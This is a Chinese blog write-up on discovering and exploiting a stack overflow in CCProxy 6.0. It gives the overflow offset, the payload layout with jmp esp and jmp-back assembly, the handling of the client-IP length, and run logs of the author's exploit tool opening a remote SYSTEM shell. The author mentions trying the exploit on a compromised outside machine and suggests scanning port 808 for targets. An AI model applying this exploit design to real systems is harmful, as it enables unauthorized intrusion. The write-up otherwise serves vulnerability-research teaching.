我是如何发现CCProxy远程溢出漏洞的

CCProxy+Proxifier工具的用法 阅读详情
CCProxy是一个国产的支持HTTP、FTP、Gopher、SOCKS4/5、Telnet、Secure(HTTPS)、News(NNTP)、 RTSP、MMS等代理协议的代理服务器软件。因为其简单易用、界面友好,非常适合在对流量要求不高的网络环境中使用,所以在国内有很多初级的网管喜欢用 这个软件,有时候我在公司上网也要用它做代理。前些日子我测试发现CCProxy 6.0版本存在多处缓冲区溢出漏洞,可以导致攻击者远程执行任意代码。   

TIPS:什么是Gopher、RTSP、MMS?   
  Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。允许用户使用层叠结构的菜单与文件,以发现和检索信息,它拥有世界上最大、最神奇的编目。   
  RTSP是Real Tranfer Stream Protocol的缩写,翻译为实时传输流协议,用来传输网络上的流媒体文件,如RM电影文件等,它的下载方法请看后文《悄悄下载流媒体》。   
MMS是Multimedia Messaging Service的缩写,中文译为多媒体信息服务,它最大的特色就是支持多媒体功能,可以在GPRS、CDMA 1X的支持下,以WAP无线应用协议为载体传送视频短片、图片、声音和文字,彩信就算MMS协议中的一种。   

漏洞发现过程   
其实发现这个漏洞是很偶然的,当时在考虑公司产品的黑盒测试方案的时候,我想使用模板+测试用例的方式来进行网络部分的边界测试。这是比较传统的黑盒测试 方法,其核心内容就是把网络协议包分块,然后制定出对各个块的测试策略,最后按照策略对所有块逐步进行测试。这种测试方法的好处在于可以有效的控制测试进 度,以及可以比较详细地测试一个网络协议的所有部分,而且在测试过程中还可以不断地加入新的测试用例,以完善测试计划。测试程序的编写则可以使用脚本语言 或C来完成。   

TIPS:什么是黑盒测试?   
黑盒测试法把程序看成一个黑盒子,完全不考虑程序的内部结构和处理过程。黑盒测试是在程序接口进行的测试,它只检查程序功能是否能按照规格说明书的规定正常使用,程序是否能适当地接收输入数据产生正确的输出信息,并且保持外部信息的完整性。黑盒测试又称为功能测试。   

我就是用这种方法测试公司的产品的时候,恰好当时在公司内部网之间使用CCProxy做代理服务器,因为测试HTTP协议要通过这个代理,所以测试过程中发现CCProxy崩溃了,也因此发现了这个漏洞,算是偶然吧。   

漏洞分析过程   
CCProxy的HTTP代理端口默认是808,这个端口可以在其界面中进行更改。漏洞的原理很简单,就是对CCProxy的 HTTP代理端口发送URL超过4056字节的畸形请求,CCProxy就会发生堆栈溢出。后来发现,不仅仅是GET请求存在此问题,所有POST、 HEAD等请求也都会导致溢出。在分析其原理后又发现CCProxy的Telnet代理也存在该问题。   
现在来详细介绍一下我分析这个漏洞的过程。在发现了发送超长请求可以导致CCProxy出错以后,就开始分析溢出点以及利用限制。所要用到的工具是SOFTICE调试器和IDA反汇编工具。   

TIPS:很多人都知道使用WINDASM反汇编,但经过它反汇编出来的代码非常简单,很不容易看明白,但IDA就不一样了,它不但会反汇编程序,并会尽量分析程序,并加上相应的注释。正因为这样,IDA反汇编一个大的程序会花非常长的时间。   

整个调试分析漏洞的过程如下:首先在SOFTICE中下断点:Bpx ntdll!KiUserExceptionDispatcher,这个命令的意思就是程序运行到Ntdll.dll中的 KiUserExceptionDispatcher就停下来,交给SOFTICE进行处理。KiUserExceptionDispatcher这个函 数是Windows的异常处理过程中的很重要的一个步骤,它负责派发用户层空间发生的所有异常到异常链中的异常处理函数地址,每当在用户层空间发生异常的 时候就会调用这个函数。SOFTICE默认是没有加载Ntdll.dll的,所以我们可以通过DriverStudio套件中的一个叫做“Symbol Loader”的工具的Load Exports来加载这个DLL文件。   
设好断点后,就用一个简单的程序向808端口发送“GET /AAAA[...4056 bytes] HTTP/1.0<回车><回车>”这样的超长字符串,其中包含4056个A的超长URL。发送之后SOFTICE会跳出来并停 在KiUserExceptionDispatcher断点上,这时候用“dd (*(esp+4))+b8”命令来查看出错时的EIP地址,这是因为KiUserExceptionDispatcher的函数参数是一个指向保存异常 发生时的寄存器的结构,该结构从偏移0x8c的位置开始保存寄存器值,其具体保存寄存器值如下:   
0x08c Gs   
0x090 Fs   
0x094 Es   
0x098 Ds   
0x09c Edi   
0x0a0 Esi   
0x0a4 Ebx   
0x0a8 Edx   
0x0ac Ecx   
0x0b0 Eax   
0x0b4 Ebp   
0x0b8 Eip   
0x0bc Cs   
0x0c0 EFlags   
0x0c4 Esp   
0x0c8 Ss   
用“dd (*(esp+4))+b8”命令发现出现异常的EIP是0x41414141,我们知道0x41就是A的ASCII码,所以现在已经证实我们发送的超长 字符串已经覆盖了某个函数的返回地址,导致该函数返回的时候返回到0x41414141这样的地址。此时退出SOFTICE就会弹出 “0x41414141指令引用0x41414141的内存。该内存不能read。”这样的应用程序错误对话框。   

TIPS:“0x41414141指令引用0x41414141的内存。该内存不能read。”这种是典型的溢出提示,明确告诉我们溢出的地址和错误,对进一步分析溢出很有好处。   

接下来,我们还需要知道究竟是什么地方导致函数返回地址被覆盖的。因此我们逐渐减少发送的字符串长度,发现当发送4039字节时就不会导致出错了。由于堆 栈和返回地址被覆盖,我们无法看到导致溢出的地址到底是哪里,但是根据经验推测,这可能是一个由Strcpy、Strcat或Sprintf等函数导致的 溢出。因此我们在这些函数下断点,然后再次发送4056字节的长URL命令。但是发现没有在这些函数中断下来,证明溢出过程并没有调用这些函数。   
到了这里似乎没有好的办法能够确定溢出位置了,但是通过观察发生溢出后的堆栈内容,可以看到根据当时的堆栈中的连续大片的“AAAA……”和开头的时间和 “unknown Web”字符串等信息得知,当对堆栈中对这些地址写入内容的时候会导致覆盖返回地址,所以我们直接对堆栈地址设写断点,使用命令“bpmd 01977908 w”来对0x01977908的地址设一个写操作断点,这个地址是我们通过观察溢出发生后的ESP来得到的,因为这应该就是函数返回之后的ESP,即栈顶 地址。但是这个地址是不固定的,可能不同的系统上这个地址也不一样,即使在同一个系统上,这个地址也随每次CCProxy进程的启动而不同。但是在同一个 系统上,一般试几次就会使用同样的地址,所以我们只需要多试几次就肯定能够中断下来了。在设断点之前首先要用Addr ccproxy来进入CCProxy的进程地址空间。   
经过仔细分析发现,当调用0040A410这个函数之前,会进行压栈操作,这个压栈恰好会把函数返回地址写入到堆栈01977908的位置,所以我们有理 由相信就是调用这个0040A410这个函数的过程当中导致了溢出。在0040A410函数入口出设断点,然后发送溢出字符串,中断后按F12(即执行到 函数返回),可以看到恰好返回到0x41414141的地址,这就印证了我们的推测,溢出确实发生在0040A410函数当中。   
然后我们用IDA来反汇编CCProxy.exe来看看0040A410函数到底进行了哪些操作。反汇编的代码如下:

CODE:

text:0040A410 sub_40A410 proc near ; CODE XREF: sub_408A10+114 p   
.text:0040A410 ; sub_408A10+262 p ...   
.text:0040A410 mov eax, 280Ch   
.text:0040A415 call __alloca_probe ;分配0x280c大小的缓冲区   
.text:0040A41A mov eax, dword_501D04   
.text:0040A41F push ebp   
.text:0040A420 mov ebp, [esp+2814h] ;这是要记录的内容,作为参数传入
可 以看到这个函数调用“__alloca_probe”函数来进行缓冲区分配,它和普通函数调用Sub esp,xxx的方式来分配缓冲区有点不同,这是因为需要分配的缓冲区太大,直接减ESP可能会导致直接到达未分配的地址空间,所以需要用 “__alloca_probe“来分配这个大缓冲区。   
我们再继续跟踪这个函数,发现到0040A607的指令时覆盖了函数的返回地址。代码如下:

CODE:

.text:0040A5F1 lea ecx, [esp+414h]   
.text:0040A5F8 push ebp   
.text:0040A5F9 push ecx   
.text:0040A5FA lea edx, [esp+1820h]   
.text:0040A601 push offset aSS_0 ; "[%s] %s"   
.text:0040A606 push edx   
.text:0040A607 call _sprintf   
在 这个调用了“_sprintf“函数,按照“[日期] 内容”的格式存入0x1820大小的局部字符串缓冲区中,由于没有限制长度,所以导致了缓冲区溢出。再仔细查看发现“_sprintf”函数是在 CCProxy自己的代码段里面实现的,而没有调用“msvcrt.dll”导出的Sprintf函数,难怪我们前面在Sprintf函数下断点没有拦截 到!   
说句题外话,现在市场上有些防溢出软件产品是利用拦截系统的字符串拷贝函数然后回溯堆栈的方法,并宣称从根本上解决了系统缓冲区溢出的问题。这根本就是无 稽之谈,因为很多溢出都是软件自己的代码实现导致溢出的,例如这个CCProxy溢出这样,根本就不调用任何系统函数,所以那种保护方法并不能从根本上解 决溢出的问题。   
在0040A410函数返回的时候,就会返回到被覆盖的地址去。代码如下:   
.text:0040A700 add esp, 280Ch ;恢复堆栈   
.text:0040A706 retn ;返回   
到这里我们已经可以看出,0040A410这个函数其实是一个记录CCProxy日志的函数,它按照“[日期] 内容”的格式来记录日志,但是在构造日志字符串的时候没有限制长度,所以导致了缓冲区溢出。我们已经找到了导致溢出的位置,接下来就要看看如何利用这个漏 洞了。   


漏洞利用   
要利用漏洞,就要找到覆盖返回地址的字符串偏移。我们可以通过发送AAAABBBBCCCCDDD……这样的组合字符串看到底是哪里覆盖了返回地址。经过一番分析,得知在4056的偏移处恰好覆盖了函数返回地址。所以我们这样来设计溢出字符串:   
GET /AAAA….|shellcode|jmp esp|jmp back| HTTP/1.0   
其中“AAAA……”这样的字符串是为了在执行ShellCode之前腾出足够的空间,因为字母A所对应的CPU指令是INC ECX,即一条无实际作用的指令,相当于传统的NOP指令,但是它比NOP指令的好处在于它是可显示的字符,不易导致错误。而ShellCode是一个普 通开端口的ShellCode,对其中的字符无任何特殊要求。Jmp esp是一个包含Jmp esp指令的地址,把它作为覆盖函数的返回地址,这样当函数返回的时候就会跳到这个地址去执行Jmp esp指令,因为此时的ESP恰好指向函数返回地址后面的地址,即随后的Jmp back指令。这个指令是一串跳转指令,用来跳过Jmp esp地址和ShellCcode,执行到前面的AAAA……,即NOP指令,以便最后执行到shellcode当中。这里我们要选用一个比较通用的 jmp esp地址,如果是系统DLL中的Jmp esp地址,可能会随系统打了不同的SP而有不同的地址,所以我们选择0x7ffa54cd这样的地址,它在同一类Windows系统(例如中文版 Windows 2000)当中是固定的。Jmp Back指令我们用这样的汇编指令:   
mov ecx,25414141h ;把ECX设为0x25414141   
shr ecx,14h ;把ECX右移0x14位,让ECX变为0x254   
sub esp,ecx ;把ESP减去0x254   
jmp esp ;跳到此时的ESP去   
这样把ESP减去0x254就可以跳过前面的返回地址和ShellCode,这样一来就能够恰好跳到shellcode前面的NOP指令去执行了。   
这样设计好溢出串,并编写程序保证jmp esp恰好覆盖返回地址,发送,果然溢出成功,并开出了shellcode指定的端口。这样exploit是不是就算是完成了呢?于是我到外网找了一个安 装了CCProxy的肉鸡试了一下,可是没有成功。奇怪了,问题究竟出在哪里呢?   
经过仔细分析发现,由于溢出是按照“[日期] 内容”的格式拷贝到字符串当中导致的,其中“内容”部分的格式是这样的:   
客户端IP地址<空格>unknown<空格>Web<空格>HTTP请求   
其中unknown和Web都是固定长度的字符串,HTTP请求是我们所能控制的字符串。但是这里存在一个问题,就是客户端IP地址是我们无法控制的字符 串,它的长度是不固定的,这样一来,不同长度的客户端IP地址就会导致不同的溢出点,这样也就可能无法成功的溢出了。怎样解决这个问题呢?我们虽然无法控 制客户端IP地址的字符串长度,但是我们可以得到这个字符串的长度,并且在我们所能控制的HTTP请求当中补齐这个长度,让我们发送的Jmp esp地址始终覆盖在函数返回地址上面。   
而客户端IP地址可能根据不同网络结构而分为三种情况:   
? 如果攻击者和攻击目标在同一个网段(即中间不经过网关),那么客户端IP地址就是攻击者主机的IP地址。   
? 如果攻击者和攻击目标不在同一个网段上(即中间经过网关),但是攻击者的主机有真实的IP地址。那么客户端IP地址也是攻击者主机的IP地址。   
? 如果攻击者和攻击目标不在同一个网段上(即中间经过网关),而且攻击者的主机没有真实的IP地址。例如攻击者在内网,而攻击目标主机在外网,那么客户端IP地址就是攻击者的网关的外部IP地址。   
知道了这三种情况之后,我们就可以动手改进刚才的Exploit程序了。首先要取出本机的IP地址,可以通过调用Socket函数Gethostname ()先取得获取本机名,然后通过调用Gethostbyname()来得到本机IP地址的十六进制数值,最后利用Inet_ntoa()把这个数值转换为 字符串。这样就解决了前两种情况的客户端IP地址,那么对于第三种本机和目标主机不在同一网段的情况又怎么办呢?用程序实现自动取网关外部IP地址好像稍 微麻烦了点,我懒得写这样的程序了,干脆由用户自己来输入算了,怎么得到你的网关外部IP地址就不用我来教了吧,应该是不难的,有些网站的论坛甚至都会直 接显示出你的IP地址,那就是你网关的IP地址。   

TIPS:利用网关实现溢出攻击还是第一次看到具体的例子,它们的网络通讯是如何建立的?数据传输是怎么进行的?有兴趣的朋友可以考虑一下,尝试利用这个过程做点事情,相信你会有更都的发现。   

漏洞攻击程序使用方法   
我用前面提到的方法写了一个Exploit程序,按照“ccpx <目标IP> [端口]”这样的格式来使用,其中目标IP就是你要攻击的安装了CCProxy的机器的IP地址,端口是目标IP上的CCProxy的HTTP代理端口, 这个端口默认是808,但是可能会更改。   
然后程序会提示你“本主机IP是否与目标主机IP在同一个网段?”,因为前面提到原因,所以要采取两种不同的溢出字符串,如果你的机器和目标主机在同一个 网段上,那你就选择Y,如果不在同一网段就选N。如果你选择了Nn,程序还会询问你“本主机有没有真实外网IP地址?”,也就是说你的机器是在内网还是外 网,有没有真实IP地址,如果有就选Y,没有则选N。如果这次你又选择了N,那么程序会要求你输入本主机所属网关的外部IP地址,这个地址需要你自己想办 法得到,要得到它也并不困难。输入之后就会成功发送溢出串,并自动连接ShellCode所开出的 24876端口,如果成功的话,就会出现系统权限的CMD.EXE命令行了。   
如果你的机器和目标主机在同一个网段上面那就简单了,直接在第一步选Y就可以攻击成功。如果你的机器虽然和目标主机不在同一个网段上面,但是确有真实IP地址,那就在第二步选Y。   
三种不同情况的具体攻击过程如下:   
1.你的机器和目标主机在同一个网段上:   
D:/Soft/ccx/ccpx/Debug>ccpx 192.168.0.103   
本主机IP是否与目标主机IP在同一个网段?[y/n]y   
[+] connecting to 192.168.0.103:808   
[+] send magic buffer...   
[+] connecting to CMD shell port...   
Microsoft Windows 2000 [Version 5.00.2195]   
(C) 版权所有 1985-2000 Microsoft Corp.   

C:/Documents and Settings/Administrator> exit   
exit   
[-] Connection closed.   
2.你的机器虽然和目标主机不在同一个网段上面,但是有真实IP地址:   
D:/Soft/ccx/ccpx/Debug>ccpx 202.xxx.xxx.xxx   
本主机IP是否与目标主机IP在同一个网段?[y/n]n   
本主机有没有真实外网IP地址? [y/n]y   
[+] connecting to 202.xxx.xxx.xxx:808   
[+] send magic buffer...   
[+] connecting to CMD shell port...   
Microsoft Windows 2000 [Version 5.00.2195]   
(C) 版权所有 1985-2000 Microsoft Corp.   

C:/Documents and Settings/Administrator>exit   
exit   
[-] Connection closed.   
3.你的机器在内网,而攻击目标主机在外网:   
D:/Soft/ccx/ccpx/Debug>ccpx 210.xxx.xxx.xxx   
本主机IP是否与目标主机IP在同一个网段?[y/n]n   
本主机有没有真实外网IP地址? [y/n]n   
请输入本主机所属网关的外部IP地址: 202.xx.xx.xx ←在这里输入是你网关的外部IP地址   

[+] connecting to 210.xxx.xxx.xxx:808   
[+] send magic buffer...   
[+] connecting to CMD shell port...   
Microsoft Windows 2000 [Version 5.00.2195]   
(C) 版权所有 1985-2000 Microsoft Corp.   

C:/Documents and Settings/Administrator>exit   
exit   
[-] Connection closed.   
我这个程序里面的Jmp esp地址是中文版Windows 2000中的地址,在其他版本的操作系统中可能会有所不同,需要读者自己修改。   

TIPS:由于这个ShellCode里面采用了直接开端口的方法,所以如果读者朋友的攻击目标上有防火墙的话,可能会导致攻击不成功。这种情况你需要更 改isno程序中的ShellCode,把它替换成反向连接的ShellCode再重新编译一遍就行了。具体方法请关注最近几期“新手学溢出”栏目。   

前面提到的这种根据不同网络情况来填充不同个数的A,从而把Jmp esp地址推到函数返回地址的方法是不是最好的方法呢?我觉得可能还有更好的方法,也许利用Sprintf函数的一些内部特性就可以不用这样而写出通用的 利用程序了,但是我没时间去研究这个了,如果读者有兴趣的话可以自己研究一下,如果研究出来,这也算是一项很实用的通用Exploit技术。   
后来研究发现CCProxy不仅仅HTTP代理存在溢出问题,Telnet代理等一些其他调用日志函数的端口也存在同样的问题,攻击方法类似,这里就不再 详细分析了。另外,CCProxy 5.x以及以前的版本虽然也存在此漏洞,但是构造字符串的方法略有不同,因此这个Exploit程序无法成功的攻击CCProxy 5.x以及以前的版本,只能攻击CCProxy 6.0。读者可以自己研究一下老版本的CCProxy,并写出Exploit程序。   

结束语   
这个漏洞虽然不是Windows操作系统本身的漏洞,但是CCProxy在国内还算一个比较常用的软件,因此还是有一些利用价值的。不信你可以用Super Scan之类的端口扫描器扫描国内网段的TCP 808端口,很多时候都能找到安装了CCProxy的机器。   
其实写这篇文章的目的并不是教大家去利用这个漏洞黑机器,而是告诉大家一个软件漏洞从发现到跟踪调试到最后写Exploit程序的过程是怎样的,也许你也能用这种方法找到一些其它的漏洞。
外网主机使用CCProxy代理使内网主机上网,通过代理主机访问互联网。 背景:在一些企业中或者政务云相关的内网主机都会限制网络访问,内网主机不可直接访问外网,这个时候就需要通过对应的互联网主机作为代理服务器访问外网。如果内网主机和互联网主机都是linux系统,可以通过nginx去代理,但是因为我这个互联网主机是Windows系统,nginx中默认不包含proxy_connect模块,Windows系统编译起来比较麻烦,所以这里就使用了CCProxy作为代理软件来实现,比较简单好操作。我这里内网主机是centos7.9,互联网主机是Windows系统。 阅读详情

相关推荐

深入剖析CCProxy栈溢出漏洞:从原理到Shellcode实战

本文深入剖析了CCProxy 6.2版本中一个经典的栈溢出漏洞。通过分析其Telnet代理服务中`ping`命令处理的缺陷,详细阐述了从漏洞原理、利用调试器精确定位溢出点,到编写添加用户的Shellcode并构造完整漏洞利用数据包的完整实战过程,为理解漏洞利用提供了清晰的案例。

weixin_28318011的博客 430

手把手教你利用CCPROXY溢出漏洞实现远程用户添加(附完整Shellcode)

本文深入分析了CCPROXY软件的缓冲区溢出漏洞,详细解析了漏洞利用技术,包括shellcode设计与实现,并提供了现代系统防护机制和企业级防御策略,帮助安全研究人员和系统管理员有效防范此类攻击。

weixin_30687051的博客 412

CCProxy 6.2栈溢出漏洞实战:从Ping命令到ShellCode注入全流程解析

本文深入解析CCProxy 6.2版本中的栈溢出漏洞,详细介绍了从Ping命令触发到ShellCode注入的全流程。通过分析漏洞原理、利用技术和防御方案,帮助安全研究人员和企业管理员理解该漏洞的风险及应对措施,特别强调了合法授权的漏洞研究重要性。

tensor9flow的博客 299

CCProxy和Proxifier使用教程

CCProxy使用(服务端): CCProxy运行在需要配置为代理服务器的电脑上 1. 点击设置,按自己需要选择要开的服务: 2. 点击高级,取消勾选"禁止局域网外部用户" 3. 点击账号,进入账号管理,选择允许部分,点击新建新增用户,可以对用户进行自定义配置 4. 服务端配置完成 Proxifier的使用(客户端): Proxifier运行在需要连接代理服务器的电脑上 1. 点击左上角配置文件,点击代理服务器 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gi

qq_44839815的博客 2万+

用Python重现CCProxy漏洞攻击:手把手教你写HTTP代理溢出利用脚本

本文详细解析了CCProxy HTTP代理组件的经典栈溢出漏洞,并手把手指导如何用Python编写自动化利用脚本。文章从漏洞原理剖析入手,逐步讲解如何通过Socket构造畸形HTTP请求、动态计算偏移量、集成Shellcode生成工具,并最终构建一个模块化、可复用的PoC框架,帮助安全研究人员和开发者深入理解漏洞利用过程,提升自动化安全测试能力。

weixin_29305313的博客 366

CCProxy Telnet Proxy Ping远程栈溢出分析

导读:   By:疯狗(B.C.T)   简单的了解了一下漏洞原因,问题出在ping上,首先先触发这个漏洞看看效果。   开启CC,然后telnet 127.0.0.1 23,出现如下提示   CCProxy Telnet>CCProxy Telnet Service Ready.   CCProxy Telnet>   直接输入ping AAAAAAAAAA...(超长的A),程序崩溃了

945

HVV工具介绍之CCProxy

正文共:888 字 11 图,预估阅读时间:1 分钟现在我们已经知道,HVV中蓝队在发起攻击时常用的四板斧就是“战前准备”、“情报收集”、“建立据点”和“横向移动”。战前准备和情报收集就不多说了,无论是利用漏洞还是社工钓鱼,都是为后面的工作做准备的。“建立据点”就是在找到系统或网络的薄弱环节之后,蓝队利用漏洞或社工钓鱼等方法来攻入内部网络的过程,常用的方法就是建立VPN隧道连接,或称为“打洞”,常...

衡水铁头哥的博客 3462

缓冲区溢出实验

缓冲区溢出实验 一、实验要求 实验目标:利用“探测法”、“调试法”确定存在漏洞的程序溢出点位置。 目标程序:stackoverflow.exe、CCproxy.rar 1.请对给定的程序进行溢出点定位(即输入数据长度为多少时,程序会发生溢出)。 说明: (1)stackoverflow的用法为:stackoverflow.exe+参数 (2)CCProxy的用法为:设CCProxy的IP地址为i...

qq_44768749的博客 1575

逆向分析如何发现CCProxy远程溢出漏洞

2019独角兽企业重金招聘Python工程师标准>>> ...

weixin_33698043的博客 473

使用CCProxy搭建windows系统阿里云socket代理服务器 教程

使用CCProxy搭建windows系统阿里云socket代理服务器 教程

MZH 1万+

别再只盯着Text-VQA了!这4个主流VQA数据集(含中英双语)的保姆级下载与对比指南

本文深入解析了Text-VQA、ST-VQA、OCR-VQA和EST-VQA这4个主流视觉问答数据集的特性与应用场景,提供了详细的下载与预处理指南。通过对比分析,帮助开发者根据项目需求选择最适合的数据集,避免因选型不当导致的模型性能问题,特别适合需要处理中英双语或多模态文本理解的AI项目。

weixin_42524708的博客 362

CCPROXY漏洞利用

CCPROXY漏洞利用 CCProxy是一款非常流行的下载量最大的的国产代理服务器软件,其CCProxy 6.2版本存在一个栈溢出漏洞,可以通过此漏洞进行shellcode攻击,以下是学习过程的一个小记录吧 : ) 1.找到并定位溢出点 使用ping命令加一个超长的字符串加一个主机名,代理端会返回Host not found。 当输入的字符串足够长时(比如2000个a),软件就会溢出奔溃,通过二分法尝试,发现ping后最多接1009个字符,第1010字符开始溢出,并且前四字节无用,如下图,当输入

panfengblog 2573

CRPR的三种关键影响:从SI、OCV到Min Pulse Width的时序优化实践

本文深入探讨了CRPR(时钟重汇聚悲观度消除)在芯片时序优化中的三种关键影响:信号完整性(SI)、片上变异(OCV)和最小脉宽检查。通过实际案例分析和技术细节,展示了CRPR如何有效修正时序分析中的过度保守估计,提升设计精度。文章特别强调了SI-aware CRPR的调试技巧和OCV补偿的最佳实践,为芯片设计工程师提供了宝贵的时序优化指导。

weixin_30920853的博客 379

CCProxy栈溢出漏洞实战:从原理到利用的完整指南

栈溢出是二进制安全领域的经典漏洞类型,其原理源于程序在栈上分配固定大小的缓冲区后,未对用户输入数据进行长度校验,导致超长数据覆盖相邻内存区域,从而可能篡改函数返回地址(EIP),劫持程序控制流。理解栈溢出对于掌握内存安全、漏洞利用及缓解技术至关重要。在Windows平台下,此类漏洞常与危险字符串函数(如strcpy)的误用相关,并涉及绕过DEP(数据执行保护)与ASLR(地址空间布局随机化)等现代安全机制的技术实践。通过分析具体案例,例如在CCProxy这类代理服务器软件中发现的典型栈溢出,安全研究人员可以

weixin_30666401的博客 382

VSCode下载、安装+C语言环境配置(超详细)

ps:我的更改部分:"D:/BaiduNetdiskDownload/x86_64-8.1.0-release-win32-seh-rt_v6-rev0/mingw64。③ 找到【系统变量】中的【Path】变量 ---- 双击打开后,将刚刚复制的地址添加进去 ---- 点击【确定】;① 双击【此电脑】---- 点击【属性】---- 进入到下面这个界面,单击【高级系统设置】;② 进入到 系统属性界面 ---- 点击【环境变量】,进入环境变量页面;并进行安装,安装成功后,打开VSCode;

weixin_48820458的博客 1万+

C#调用Halcon程序三种方法

C#调用Halcon程序三种方法 1.halcon导出C#文件,在C#里面调用 2.在C#里面使用Halcon引擎调用Halcon程序 3.在C#里面使用Halcon引擎调用.hdev下本地函数或者.hdvp外部函数 Halcon引擎手册:C:/Program Files/MVTec/HALCON-21.11-Progress/doc_en_US/html/manuals/programmers_guide/programmers_guide_0120.html 1.导出C#(代码我只给出类,需要调用)

A541925504的博客 1万+

[转自luoluo's blog]CCProxy远程缓冲区溢出分析

CCProxy远程缓冲区溢出分析luoluo [luoluonet@hotmail.com]CCProxy的缓冲区溢出攻击代码早已公布,但是我并没有能找到漏洞的相关说明,以下就对这个简单的缓冲区溢出漏洞作简要分析。偶水平很菜,加上糟糕的文字,错误和不足处,请各位指教,感激不尽。测试环境:windows2003 + CCProxy 6.2CCProxy是一款轻

执着我一生[F.S.T] 2125

景观格局指数计算方法及代表的生态学意义(待补充)

景观指数 斑块密度(PD) 斑块密度(PD)表现某种斑块在景观中的密度,可反映出景观整体的异质性与破碎度[17],公式为PD=NP/A(1)式中NP———斑块数量,个A———景观或斑块的总面积,hm2PD———斑块密度,个/hm2 最大斑块指数(LPI) 最大斑块指数(LPI)用于确定景观中的优势斑块类型,间接反映人类活动干扰的方向和大小,公式为LPI=amaxA×100%(0≤LPI≤100%)(2)式中amax———景观或某一种斑块类型中最大斑块的面积,hm2LPI———最大斑块指数,% 凝聚

soderayer的博客 13万+

漏洞大户ccproxy又暴远程溢出漏洞

漏洞大户ccproxy又暴远程溢出漏洞作者:wolfboy[彭峙酿e.s.t]ccproxy 是一款国生产使用方便界面整洁的代理软件,他支持HTTP,FTP,SOCKS4/5,TELNET,HTTPS.....等代理协议,是一款不可多得的好软件,一般网管用代理软件的时候他是首选,国内ccproxy运用的十分广泛。这不,我们学校的校园网也用上他了,我们电脑老师也是个比较注意网络安全的人,他装的时候...

weixin_30394669的博客 363

Oracle监听配置

Oracle监听配置## 标题 选择“监听程序配置”,然后下一步。 选择重新配置,然后下一步/。 不用管,按下一步。 下一步。 选择“否”,下一步。 选择"本地net服务名配置",然后下一步。 选择“重新配置”,然后下一步。 服务名 是"Oracle",然后下一步。 主机为你的IP地址,在doc系统下通过"ipconfig"获取IP地址。然后输入,然后下一步。 选择“是,进行测试...

m0_46079215的博客 806

基于RK3588与Gstreamer的端侧实时视频流AI推理系统构建

本文详细介绍了基于RK3588芯片与Gstreamer框架构建端侧实时视频流AI推理系统的完整方案。通过硬件选型、环境配置、OpenCV编译优化、视频流处理实战及模型部署等关键环节的深入解析,展示了如何利用RK3588的6TOPS NPU算力与Gstreamer的低延迟特性,实现工业质检、智能交通等场景下的高效边缘计算。特别针对RTSP推拉流优化、RKNN模型转换等核心技术难点提供了实用解决方案。

weixin_30516243的博客 381

缓冲区溢出漏洞攻击演示实验(CProxy 6.2缓冲区溢出漏洞)

实验内容: 分析缓冲区溢出漏洞,利用CCProxy 6.2的这个缓冲区溢出漏洞,利用ping命令向其发送一个长的字符串,溢出局部变量,覆盖RET的位置,从而实现程序跳转到自己想要让其执行的程序上去。   定位RET   寻找跳转指令地址   构造shellcode   定位shellcode存放位置   编写攻击程序 实验环境: 攻击主机:

liujiayu2的专栏 2388

StarWind V2V Converter v9 虚拟磁盘转换工具使用教程 (转)

StarWind V2V Converter v9.0.1.268 是一款免费的虚拟磁盘转换工具,支持不同管理程序间的虚拟机镜像格式转换,包括VMDK、VHD/VHDX、IMG和QCOW2等格式。该工具具有窗口修复模式、零拷贝转换和管理程序切换等特色功能,能够轻松实现物理机到虚拟机的转换,并兼容主流管理程序如Hyper-V、ESXi等。使用教程详细介绍了从本地文件选择到格式转换的完整操作流程,转换过程简单高效且不影响原虚拟磁盘数据。

hsh的专栏 1482

CCProxy 6.2 溢出漏洞分析

操作系统:Microsoft windows XP SP3 溢出软件:CCPROXY            http://pan.baidu.com/s/1pJI0loZ   CCProxy于2000年6月问世,是国内最流行的下载量最大的的国产代理服务器软件。主要用于局域网内共享宽带上网,ADSL共享上网、专线代理共享、ISDN代理共享、卫星代理共享、蓝牙代理共享和二级代理等共享代理上网

w4y2'blog 4309

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

巧用嗅探 玩“渗透”

还记得以前我利用小榕哥的WED+WIS入侵本地信息港的那篇文章吗?自从上次入侵之后,网站的管理员想尽了办法堵住了所有SQL注入漏洞,想通过SQL注入后台管理页面已经没有可能了。真是郁闷,但是转念一想,这正是一个练习技术的好机会,难道除了简单的工具利用外,我就没有其它的办法了吗?一定要想法子再次拿下这个站点。  一、扫描,突现新曙光  想来想去找不到什么好的办法,闲着也无事,于...

战斗机 302

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

上一篇: Haxdoors of the Kaspersky Antivirus 6/7
下一篇: 使用SoftIce调试free build版的Driver方法
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值